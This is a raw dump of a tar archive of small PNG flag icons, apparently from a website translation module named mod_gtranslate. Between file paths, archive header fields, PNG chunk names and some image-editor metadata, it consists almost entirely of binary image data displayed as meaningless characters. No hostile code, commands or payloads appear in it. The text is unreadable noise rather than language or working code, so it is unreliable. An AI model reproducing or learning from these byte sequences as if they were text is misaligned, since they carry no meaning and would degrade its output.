`�����V1I��Z�h�uTn*��Q}�jl���BC�\0$s�~d3�J��w�:]����Ð{��Xm�����>�g*A��Rt����t��<�� �ӥD4�b�15� ���k�|��b���d���޴n	����.p�^��f�&�0[(�ȎԶ/M�*/�t�����H�)��������H��ca�_L��d�3ׄ�zO����f���0�r\��z@��gբ4�h*��-�rY��,�Np�ۚ2�<\N
�k�y
��IEND�B`�mod_gtranslate/tmpl/lang/32/ku.png000060400000001552150746170550013026 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���$tEXtSoftwarepaint.net 4.0.12Ck��IDATXG�VYkSQ�_�(.�� ⃊��.(����_AD�TDPp{�5i��Emj[!�6�-mڦ�1i���37&�ssoPo>�r��=g�̜��u���%�N/itzI��K����v�� �g�dUȧ,�6�@9Yi`��؃7e�O���T��{�o�̈6��QY�HF�����a칬.�,��Zʂ:��)��@�jۨӻ�\�{���y�)ʋ]��#@�e���>m�O�ڷ��@�Y�J~�
��ɞ�c��3��?;A�7���l�i��ym���-���Fg�P�.��^~|ЩՁ��3�o6�w��*k���] �4�9�0�|�7Լ���J\�rP`5��o�ڵ
���|��%\S�:dZ�����V�j�_�����B�S�Q��}D�*c�J6-w�"�X��P��_�K,`�9`%}�8[u��]	�c|��=��������z���A�ցf8g@a�)�v	�M�E��s�c2�\��Պ<fu=��C�d��[�ɐnA
��=��A��. ;�"�q:p�G�~��ԲL�ѺN��K����-���K{2��V���Y9��#KIT���r�z���P��gmt�;�aY��:�M�P� ��T-��4t��{������'�V/(���%�Ͳր����PN!7���]��"j��ԕF��4:����%�N/itzG4�����qIEND�B`�mod_gtranslate/tmpl/lang/32/pt-br.png000060400000003112150746170550013425 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��klW�����]��k;��Ď7��AS
��T)��U�PR-R�!BB*j�@	�E	�&�"㔖$�Q�������8q�ػ^{��>��]�nb��|�Fsg��{��9g�#�s\I�\a�@�\8_N3@���{����p�+�����X��|��hgPB�p�9*�N���j������E?x{j�AI�,��̄E������}DF�IX�Q�=|�-��+.�!�!� ����tH`�K��ZAd%]�E��q��FW3R��K����+�V�V��5:"��$����k;��Y��)�x3gZ��<��^t_*bk*�Y��R.�j%-�i���
��VWb:_ñ�Uḩ�=��=Eo�ύ�a(WGZY$�GC	��0�P�Ku�UIҳܵf���'�N��s}�|�c���o��ݯ�pO�}c��7�z��2E@h�
@l5�(`^W"`,F��q�����4����?�Nq&
�y�@��:����7���?qO�0�W����v���HyO.��Ȕ<�y�W��RR�!��"�/C�љe����)`����o�����SK*�0��T�8��B��J2>�������k�"���t�|���j,��Dd����w���%SҒO���Փ��i�=����k��ϡ|�Y�Ž/nd8?��B�O0W�c�@;;����"	�Ʒ���4?���d#5ʢ�AWg�6��)!Dȣ���Z�i�t�R�_<��_�G� ��
��6��Km��Z��<��O���M|�D��~�_|b�='�xz��b��ʻ��b\B�)�ȁ�*W,����i�'��S��9�~�W����]l��j��._��!I�d6l!ru~��5���G!��y��{_��w
i��	X�m�LQ�J`�%5�:��Ĥ$S�O�x�܄`�g�)�95��;��������:t������"�!�4k�[��`�Y�sMK�-�o�IRIU� �����4\����{��;(�0<;�ζ�-�pji���`��.�0�:�s���ɇ�G���?Ʊ�:*䅟<��s�-�9
Ő�ʓ 3�p���ދ���n��u3$Ȩ����Whe��OX�1��m��-<ul=�TĻ/���o΢.�p��\^���AN��)�ɐgױ�@���Ԫ%̒�,n�b(%q˔Κ�&���_��x3O|��g~Él+��z�tl�u��;Γ����K7p�L5�!���c!X���Zp�a
��Q���ld[�z���=��M�c������(��O���C�k���苋X�2�Ɗ���V��{���<z��㭤<KmB_Z
	��U�u�
��t4��ÓM|�o}x&��L\-Ǭ�U8��i"���|�K��Ɣ[ؾT+�o]�8�(�g�oy[����X��^��2��s�q��OP�p���⣟�+
�����Q��IEND�B`�mod_gtranslate/tmpl/lang/32/sr.png000060400000001761150746170550013035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FwIDATx���k�E�?3﻾��ƴ)�1?j[V�*�^")EE��PA�����੗��/z�Eăk�n��JPYi�l���3�x�&�m��Mqs�s�w杙�3ߙg~(�{i�=�{
���,�����Ͻ���g�Z�з���ZSxf�����e�!0�K�jp��f�I�H��t�wwUTG[��w��C�$��}$n�Z�x
xyԄ����F/q�e�ރ�,�Ho�L�������ۏ���߻��v_�v`���E����c��`�� ��4��$�Jz��<��P�X$�(�Z;j�}���&��
đ�ב/�-w��ނ_�t��ӌ�/ٖ��+ߑ_�Q_F�!(�z��ZX#"��{�_ؗcU'�����FJ��[�ud���D���Kϣ�4��(�x������;`Tw��@�(��2��@f�z���v�~�����1�{_�fO#��Ëx�o�y�d=+�!3�	`�6S�L�N��a��O�{�5ܥ
�:�w^�;9��� ��=���kݭ@��nPuhE�����b-�t���О���� �k����X��֠No�м\�\�0X:�3����k��ڶm�VH�-k�9�m:�ˋ���#�h\,cE��q�>��8) 2�>�&�X��m�gտ~�0�5�0�}k!+�A�R]}	qO�df3�&�$q;Ycn��O{�ڻO�zd��R��o�p�Ӟ/\p��$I0���Λ��co~���X9�K
n.`�(�:��ۈ�G�dEWn����r�"?����]��(�X,N��4�3l��]:�:�۪�;M��e]{�8Y�+"�j���m��8p��",�&l�}����8�k������IEND�B`�mod_gtranslate/tmpl/lang/32/pl.png000060400000000574150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��=j1F�ff�f r��&��E��2�@�[�R̀'S,lc7Vcd~�,�I��
4�`�엱�9p�����&�7{�s���%��l߫�t�0�?��?��R�]w;�ӱD���ڐ)�)P%S��
���$Ջ�D�@���0@�en���u
�3��+Pu��mr�1롊
9<�;�`VS
�	�`+��5G`8�@���|W}����</�c�6���"J�
���X�����w#�x1IEND�B`�mod_gtranslate/tmpl/lang/32/su.png000060400000001551150746170550013035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kTW����2!�d�b[��T�q���`�.�Z�B?��t'��ť ���FE[W.���_]�֨�X�v$:��{�~�����5`f&\���}�w�9�#B��D���@����%���F����/�{LܥM�]<�V�+�6S�=���J����C�)��
��0�Q�`k����'��$���i�ܛ޿�����J%P� ,�+��}12��CG�$�9�$���*�V!��e
��1n�2�j��$	^�X�I�"��a`���|�w7f�g�\F�6q)�ږ�y�S7j��@%�3C���/����E�r����"����Z���@�����cӇ|��av�onc�Lh�c�(R�üԊL+�s�K����Y�i*6ޱ�S�:��3R�7�MNjrR�����C�\9���_1ζ�(���_�˩[�p��)F����+0����w�@��SUgY�Y{v�:���2�P�r��=>D�����̌�<`�"��R�(������!��t��Cq	�sx3��D�=5���({�
�������u�8BȈ��}�.�c�����P(��R)��G���
�k�m���i��wd�\����
�s��Jg�!�Z�C��#H"���.L2ә:P��><D�_ͨ�M�]{��B�5��;3��@>yF�X����
��3��$����\�W��D�'(6u7E��}s��/���3�{eJIEND�B`�mod_gtranslate/tmpl/lang/32/iw.png000060400000001426150746170550013026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엿Oa�?��J�2�e����Eb��0��au2q�ſ@t11&0801�:���8�1�(H�U�C����}��#��.>�ݽ�������Zk)
���Ż�"��	Ĵ�ن|�m��@��@�ҭy.����qк��Р�C
Q1'�,�Ėޕ0Eu�6�x�q l(����,����\9� �ǚ}pvH�z
�U
���/��8����Z��Q���C*���X�A�s�:�p�-��K�"O*��V.��˓LeU�jr����_`��4EL�3߉����K��9ۥ-�޵�FM.0ket��:ڢt�F�=����W�`��7�:k2^�F�8�t1Í�^"!�H���X/��'"���]�6lGb��F4���]�#%PkS2��ʺ��P���Ž���E���[6��5�*�4K!ľ�5Ssi��.+_�I-m�Z��廯�=�Nv�aj.���0��+@�uݴi������m0�f��{Ƈ���9X*{�`�P��RU��&Fz�B�6^iӬ������s��>���L���cB��>���aױ�Y���J�q'Th�i���G܊�t�u	˲�ߒ�f5�0��²,_��b�8��>7��kQ<4�~Jȉ���F�9ک���CtIEND�B`�mod_gtranslate/tmpl/lang/32/mk.png000060400000003325150746170550013016 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F[IDATx��]�]W�k�}���;�$��LbUDM,
EPZ���iE�ۚ6�J_jA}�1АmK�S�����ƂO��/k�M�����;��|콖�f��t��a�{�����bf��p���	P}oeD �@��7��5�d�z4G���H����
�XX.ԏf~���γu�x\�#�6ок/�~$GR����_�q��v{`������uoI��L}j���_rPۉ=�P�3jSZ��μ�CJ��I!�:�=!�{`�u���x�K�_e�@�n��U����i�z&�E��
K#\�W��� =i�S"u�������#$��P��jJPl���X6�H��72���]Jp
�Qd�r�3�:X)H(���䷫
���^t�%�,��J��
�l�ջ�_�������C�fJ�o�4FJ!vs�J�D0��aL=��:��(���� �XYn l0��ÛZX�	�g��ӏY{*%\��ah��5]�-�%�ƮSqI�N\-�F��c��	���n�w�TW`�,���L�`���:᪀��r��A�$����
��B�75l�:X�� /��n@�X>@v������ђ��t���yʷ"x��q�H�T��o�����G%����k���!�ӡ��@;�eR�^ Q�	�B��F������Hqٱ�:�F�wCZZ��F�A"HÐ)�/��#x�:����oj�ĺqE�����%�eW�I�}OH�Tt �!u!.
�?jW4��m�Y%9�����è-D�Y�]5�^⛯�@�Cz�v����#�3�LЮ`�B���X�f��Ҥe��@뾀_Pܬ��V���?
�X��	)郔 6&v'���`RV9��k���d���a�̶sp�X
���Ю�kFXv�k��Au�p�����鐚�}Kh}=�݊�n��/'������d�H�~^��?�$J2g$�i��p�z
��V
h�X �Q���9������N�.9�O�L=���L��WNY���N/5C&��Npj��N5$��.ǫ�U�{Ng����M�^m��<�E��2�ݒ}�*Y�i���7+ڀ�b���$&�a(f�������a��]�����
C���ӏe�P��X�q�G^��?W;v�Zf�����
DF�
5tw�xi�d���P�ԫ��pI�H	N����|�I\�ԣu�@7�|`|mb���d̰��>Lϙ?��Ň��U�6��$J�[qSZI-⫹K'�W��s}�ϰܰ|��Z���[6�{��{v��a����ږ�L@�G+��
�A�����[�q̞���C{�}_�1�,��Ñ���aAXv,�l����&Ǹ!in�n���{�e��s,�hQ��0�����}�_�!�m����=�Ա��?���M�ua��&��~�v��Bq����d��N
���s�V��`��!��s��S)��1���'W�r�"�����_�@�#��zI#"z��n'�ŝ�,�(l<��eF�WqOvq�)�M�s�]��-����e�&�}oe�|�8���?f�����E{IEND�B`�mod_gtranslate/tmpl/lang/32/ml.png000060400000001275150746170550013021 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/32/ga.png000060400000001155150746170550012775 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��An�@E_�&���"!N��+n��$l�",Xqr�X $&3�nwWǎ��hy6�M�RU�ׯ_�jgf��2Nl���������O�l����ʼ���3.>~�(�U�e\�z����ח�>���U,�
>�\�;��0l�u���W{_�;_a�,
U�-Ml�0`����.@@P�
u���3L�[Q"���j�4�jb�s�8�J�TT��ӹ#4w��hC4�m�t�r�AA�$R��4p��8N�<n��;"�
�OAe�;��w ���IOA�H��1Q��ФŹb��W�4��~��	��j�@4EL���6Q���=$`
�����B���= �������0d41B�é<�2Ԁ���L-�1"BN1�?��PU���?~t�޲�87'��޶��p8���4�.����r��^6��\o�i��x��y-�
|wݛ`ٝs�J��8=5��\�&W��XIEND�B`�mod_gtranslate/tmpl/lang/32/cs.png000060400000001521150746170550013010 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�W��[?ӎa范B����q!
����%� I  4q����EƍQ	"�Qɨ�!�o���&��]U]U�뢧M���Cw��ūMqO�s��<QUf3�����Y$,������h�z�|��ʳ�X�z>��|P�
e(�YG^���U�xR$��ଣj��_���ɛDI^����s�ܒ��r�{\�ֽ�!`��9q�'���x��9q�nG	�:ƣ���[���7~4�_-�����ȍ��o�]�����S��YΊ��t���ZK��l�S�2�8#R��6����H3�fLÂzf&֣��Wj���� �ˏ��%��m�*�|���!<�s7��4��.w���ٸ��Y4-����"	{:�ߛ������^9�{zZ��Z�uX��p�H�g�3vEV�Pu�i�B�N�Upo!�����
6'��ӄ�t�GK�LQzϣ��k
�7�3�.�l���olH���'"u�3_ͳ�=`}M���+�G�αЎR�
�n����1�uZ����~Cr�o�+lM~'Tא�!Vk�d|�1�M�?6cl�/�>�G]��)�Aע�S�(H��t��Q�O�U)���."X�'���"gKT��:�0.�%Q��p�Ў��UX�?!�)㐎F����]�����Qg��VI�|,�R,�n�ĝ�g�,)P���ә&�r)��A���`IEND�B`�mod_gtranslate/tmpl/lang/32/tl.png000060400000001704150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FJIDATx��OhTG�?3�����U�Gh�	A�-�`���֛ )���E)�*[��*�K@�R̡�4E�� �ƨ(mi!
˒��M��{ofzx/q]b(�Mr�������~3�Z�F�d��9�����i�:��ˍ��#�D��	��������v�nz���:��
������m������Ç�$��M����:��B<���ϩ][?��}�$�]�K�Zرc3}}�x�&SS��nbM��TB����l����6.�db�o'��Q��u��ԙ�8~� CC㌎�A))���d]�1�Q=�C:�2<|!d��)T�+D}��Eo��d��T
I&݆�}@0j'�0>���$��p��U
��Dc��Z?C��=	,�����{��ο�'�y�`
'�iɛ�+�ŹUm	|]����ވ��*���.�n^�+����Ʈ�]u��QJ��
�0y��x�ltv�L���p��/���?� 3�lY��"���}�
�
P�@uE��o1��:��i@�0�р�!�� �8����hLu>��ⱏ	�Dx-��
�'Ƙ(�$zc���&;!�I��/?�L��-X��5NX�A�4��Y�g��p�{�Na+D:
ZӌD`Õb����g�u�$C�R�^	��>�O?��or�L�\��>hS�t8�!�.L�L�o�ʵ1��J�Ka�H]�ꗄ��3���?��l��f�%��jh���K��	��ȗ_lrȗ9����u��>"����5���ilv/��L��M��Ӫ@Y<�n4��OV���L�IEND�B`�mod_gtranslate/tmpl/lang/32/co.png000060400000001774150746170550013016 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���$tEXtTitleFrance - Corsica+U�PtEXtAuthorPatricia Fidi3M�9tEXtSoftwarepaint.net 4.0.12Ck�*IDATXGŔ9H+Q�5*	*�H��AP�6��hc@RĠ��ڹ5��Rp)��D�+�!��U ����܂�4���p�߻��>��D��?ឹs�?��s����A5�
�)nPMq�j���*�2���	�Ӊ��lX�V������{{{Œ������AI����sTWW#..�}Qll,����v��7���Ittt#iB2���M��������Q477�������/�����#������������F#��<1;;���aa��(�����-^^^pzz���F�znrQ���T[[[����ڑB�@KK���h̊����r���:���<�s||���zO
E�f�CCC�������
=[YY��aݠ�j�
����W,//�\)
��)))�pLL�����Ԅ��:���J�n��d2�v�����=���5ppp@�W^^����/d
Grr2�P?<KMM
�������V�Fր��%��\T~~>)22������$V�� k ))I2yTT233�KLL���NNN��}>���4��)��rss���)j[V�b�H!k`zz��HJiii�������0>>N�(���`0���*n2��q�#`�lkk�v�C������LJ��ߧ�������Eggg�Z6�
ܤ����pwwG��ݠJ(����***��������g��p8066F5�ķ����~J������zƾ������4V�G���M;���E}/������*�P����766���a~Uܠ���7���A5�
�'����e��Kf�IEND�B`�mod_gtranslate/tmpl/lang/32/sn.png000060400000002007150746170550013023 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��]hU��3?;��M'�n��֢�Z���ZD�J)+�㦩��Fl�E�`�V/����0iD��i���O��E���	UӤ���ff�/v������p8���{�s�#�R�$4V�@,��Lx@�V���k�/c=����k��l7�`��g��[�
֦�(����qy�
�m��k�ع��G��r�"��&�OD��]��u�����SJ�����?��e�^��g���\TB@w�YJ�-�}�sDT��*5qj
q�c�����:+�
�߈ș�e	(����;G	O~˓S��hwz�;Ξ^����q*���N|����>f�2��_sy(Pu2��r5F�@(V��K�~� �Ӄ5�� ��%N|}���m����-|�_��)X��D9����O�m�duW�Ļ�dO�����Q<�@�‡��V?��?.nP�AH�����\w�	K��ܯ���4޼�.Jd�:h�u
랻�׷���NݴL��0&&&:k)?������ds!V�½1�6T7n)�z%2�L]ض�����s]�d�ѷ���HI:�&��^��n��n��0�	h�G�Gh߾]8�)��pvJzR)�##�������RJ4Mк�#��-�C���N�{-HY��@)��,�@J	���j�-����`��a^h]�Z.�R��T>�q��uᙧ�l������r�ΧQŢ��\Eo�y�n����CP���
�Bʀ��%{��%�f��~����tM�q�ӝ���y"?���uC13L~.��[q�!շ�/
��BT��FB��T*��qZ�o!��mjg,�p?or[~�$�;A��l&�@Nܺ��4��!�s��t�IEND�B`�mod_gtranslate/tmpl/lang/32/ca.png000060400000001157150746170550012773 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<IDATx��W=o�@����	E'*:Z��H Q����Ҁ�QЁi�H�r������aˊ#"�\���^����7of�콧]ZD;���ys�4/\�����X��x�� �'F$�#����'/FT<�$���'��$h��q

���S�>�a�$֑����XV��L=���߁d���Ȝ�jx���~��1y�Z�>SzW���Bv���5ī%��|lY�f/�E]�U�|_���s�9��
�
��@��Q]���X�6��2��ٸ~�m�S�T�8m8c(�X�	œ��ޠ�u�4i���-b(b�NjR�H����O�H��Oy��g)I��zA
�z�&�f�i�
�Pc;���)��p����6%�v���N(
h�N�`�9i��tB���8�)ţ��R�j��=���7C�eŵ�y��&SWG�{Uu�����@X������$����ꑰ�0p���o+����s�O0i�T�䛟�]�-��LӪB�ǾIEND�B`�mod_gtranslate/tmpl/lang/32/te.png000060400000001275150746170550013021 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/32/si.png000060400000002540150746170550013020 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�E���{gg��YWE��Ac�;#� zĠ�A"x������x�"��(
��g�H6`b6&��������z�Cwfz'*$�X�xU���իj13�eq���?"�Q��Y����k�J8˕A��;�傷fc`%Dl�߲�O�_�}Cʾ���Wl��2���Y�1Nѫ�V�4��=k�9�?���50
[V�g7+�9�_��%��>}�զ�F��ȃg�Ì5��p�2�L_1��z1X�f��+2zE}�^-N
��+���ݐM�X��f��m+}�2�<��GZ�u�0��iA8����':�cи�U���
W;B��d��.$��:�YJ�wk�����f`fڱ����B�o�����o{�Ehm����	Ǐ/{�P9����)iѫ��=
@�dx@V	����٘p�,��p����u�Ⴡ��Gށd��\/t�������ӑ�V\���>��`�#�~�2��
:�m#��֏0u,���Z?�`��Vb(he)�ϫ����[ʺ�N�h9N����3�D�-�z!iB�/c�7cqO-�47;�?(R`n�.hg]
-�^M�i	�׏�h:���q�
1ރya�C��1#�]#��n����>U�s�u	
�-
�g��#�30~s̪K���&�plz:�s&�K���Q�Ը�ǰf�gnw��,��fo�`:0F
��8�� �6�j��RerR�h(�
%2����+�(�=fŐ��P��u�PL�<2���/�;�H P���"(4��̬uLL�s�z��T�l�h��N���mP7��+�^�i{����%˕��2������Y�Q�SJz����P_P�e3�_J`f4�&f������Ǟ2��?����G��gs�T�qo�֜�\$�0`;P� ��_H0l���N��HN!�=���Yq,�PƸ�	��|�j��%Jgo�>�|��(#ư>�$3�����y�:V�.���	b�w;:G��ª���2�a E��ε�-��Àf�^	|�%�Y��A�����S�Gr6��0�%BDР�0���9�K���"�d ��,R�� ����R�o�@dyX"�TcEm�|�:E<���=U3�h��z����/����
2���m̉��+��m�N������8�T�S�?�%������i����IEND�B`�mod_gtranslate/tmpl/lang/32/my.png000060400000004036150746170550013034 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c" xmpMM:DocumentID="xmp.did:2F2ED6DB918211E093C29BBC86893640" xmpMM:InstanceID="xmp.iid:2F2ED6DA918211E093C29BBC86893640" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D1CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�%	�IDATx��W�kU�����&ӄ�֢}�&b��V�� ��o�o>�K_�$B��R�P�gQKA4����(J�&(��k��d��3s.~��dwҽdd�����g�9�ﻟaZkl'9�fz���A��%Ib��π�{�>���w�N>a��'�7�{��U~3��@��TLFy��������z��(��2M�P�*w����I��W Y�ZJ��:
�;?�("�<��fk�4#E�e�tDϵ�b�o?�zx���f�Z�DB�I"hٙL�fn���<
*�%/��a�����|�<�]�NIJ�h-�Q����%�ݯ��g��Əw�Pt��r��0���nk¯��0��tp�5mg�g}�����(v��?2t�������̮��e���,R�i�T%��WiE���
#����e�j��W_ą��yC������%���ٔ����|���p6��u��Og�c�N�=��`��9�(-��l�����>\�XaS�� QE�D+���-~��3&F'0��x��j��i���,���!����x���0��jҪ)S(����폰�W����gfΠ�e�
���3��̚�k�P�m��B�էFza�d4:Xڇ�Sz�?�s|'W�d*l���k-%)74���K�?���oU�+][��9"s�	�����lV&�k��
N؏���C����|��up��'�����w�V�(�m�{�GJ�_��9j-�M3�9�/��s�������'����H��H���zz��o.S�*���\��~z�\)�c��n�3ÐK�PnR�,��'��bw�i�?(�[7F�*	����Ld�Z�hu�q Hk[��ƵdV�N�Z��Y:�YB

�4��Bp����;芌dI��e��.��i���tq�ik���$<���^I3Ť���%��=��K�+˾	vd�^�I�U���t��'���x>�
IEND�B`�mod_gtranslate/tmpl/lang/32/bg.png000060400000000743150746170550013000 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FiIDATx��KN�0��q�V�-�*!�
�p	��%�	��9H-}��̰Hچ>`�p6�7Q������=w�MZ�@�Я�9�@Y�����E&���q��oK��.8�O�&,R�eҋ��t��$Sfq�*��@n��|����8*���#1���M�$��*s]-���O|U��pe�Ě��
F�� ���wo���}�H^����R311���2�%���t�!Do���^��x~|�뎯�lC�!p����(*�<����3�y�IV����H��Ed���2�(*�+�0fL�o�>�Ӭ�p]m*�5p\enހW���Q�i	��s�6��x���V�UQIEND�B`�mod_gtranslate/tmpl/lang/32/el.png000060400000001407150746170550013006 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kQ���KӈI�P�R��PAEE\U�K�7Et��N�MAW��TV��t��
�P(��5m'���>�&c�j��t�a��˻g�9���g?C��q@�O�݌�
P����b��w_���D�5��^)&�G�P�J1zz�i�Ѻ�:�k����e�����KX�,O����r�=�ͽk�:Jn�b���@"�PqI�抓k�7��}���
`Od"�`�ZT�|Y;JhE����a�k�����J)b�p���.L֬�Ro���
&�^?c��Z���Z��u�&�Q�A�Ň�9^.�^m:}���SM�4v�c:lj@�0�-5�E���c8w��^�PX�X������`��b��Kʴ�A�M;+���2N<a�aE�^`�:�&fjM���i�	T@"��갉�r��y)����[i@�)r
�~[���0��
�\����>���YR�
���hm��Zu�qr�"�`��4^-]��F���}���M� ʷG�vkj�9̦�T�o>�+툂�F��un������Q��bWE��/?�S*�p�7�	�?�������f(��ݭ��r@BNFkݝ�s@���<���|���o�bz�f�@�>N�����5#k�IEND�B`�mod_gtranslate/tmpl/lang/32/ro.png000060400000001243150746170550013024 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F)IDATx��M��0�N2���TBB�`��8'���ps>���4M�ﱘ�u:�ڋ��ol5~�/��ˋQU�r��0@	L���#����|QV&�ӗ�;��p����ŷ�O+`V��w�_����Y��<L����f0�A�6p���!/�Q��ɯa�Q��8�~<�׌ٮ�b6�&������	n���vE�z�zw%*�J�y�.�m����� }཰\9��%"�<ZU�}���4m�N;{=!��m
h��
��5R��
�Fg������:���e&����Np�`�X���V[���Zk�����G���<::^�W�$?���!�MrP�����E^����
˳i삀B�Ts"y�I�q~|TARz;Fe\	�=����K��@�&Sp��E�Q���S���UI�
��nz�
��SP�C��V���G	��	E�n-�ύ�A$P�	LP��eL�<HDN�Z��tO(��ԋ�ɠ�|�0��j�$�9�
xv�����a>�@m�?N�����D1CA��IEND�B`�mod_gtranslate/tmpl/lang/32/fr.png000060400000001175150746170550013017 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��;��@��v{4;;	��p2V�r�M�7 �{�MH������G�a�b���L���e��뿪��JD8�e����e�<�y����;��Ÿ��0k�o����^���g9�β���Wɶv��d���+�:����l�5�%6���~���)����O/��,s�M�Ѷ6�Қ�E���s�����4��v��b]�g�3TU�&��z���7�eCU�{��@�P
1�P��h�) "2��S��@�8N��GNj��aQ�c�)Q�H�C[�#�w�����X뒸 T�xth=T`���֧9w�q���^
��9��D�I��'&�kc"Bi$����j��yDH��`�S��IV�0<H���c@�:�"���R
g�T�C�<�3��+���J)NfJ�8���r� �P�VOҔګ��B�x�����f3`[�aҧ$�^�O\�����N�꟧4���rzn���c6Հ	ûIEND�B`�mod_gtranslate/tmpl/lang/32/bn.png000060400000001746150746170550013013 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FlIDATx��A�E�U��dw&Yw݀IV�CPB�oϹx=~	/O�$���ɋ��xQ#����D��*���LW�{�g�'3�f/y�uuW��W���zmT���1�cp@��Ӕt����w�vf��[c���hXcy���S���@#jA"ݐ�O��(�E�VaM�)�cڻ�ޙ���zjv�n��@D�|�NȏD��*gZ��b�uCsް[3�>�9^"	��H�;d�3v��r�)��'ų���u��3����@<��b
!ZyF{�7�G^�MPb@*�V��?��g,��rg��A��s@;�q���ڌ\�Q���W~�47�ZK�s_
y̫;���[���x~Wy�@g�v�k��F�ϧ�
���
#i���w:.f�
�j���dL�����.:�������9�%��m�%�A/oGֶ�A�s�a�^��<k���r�sŬ��%�c��@"i�/~�����m�@�M"8�ci��<̐8[
���g}T}������%��c7��3.�q��A�D\��I%��!�@r[
;���}8<�}�*�2��<
w�$�d����C�z���2� �8��Y��K��h���M��K�s:@��G�"IuH�.�{W'rEEQ�R����r��%���ѾzZ,Zs��at�}�jid������P>X��~��~�
���� /�q�0�B�y�����܋\َ��OF{�,[>~�q�e"�h1g��`��i�����e��g-+iq"�Z7l,���ib�A�����E�Ѳ3g�t���`�
Q������J2����{锋b�2�����)#�����󥝦t��<�9=n��7I¹D�VIEND�B`�mod_gtranslate/tmpl/lang/32/en-ca.png000060400000001755150746170550013377 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FsIDATx���oU�w<��i%iC��b!XA@lh6��cŢB���� ���B��
;Ċǒ
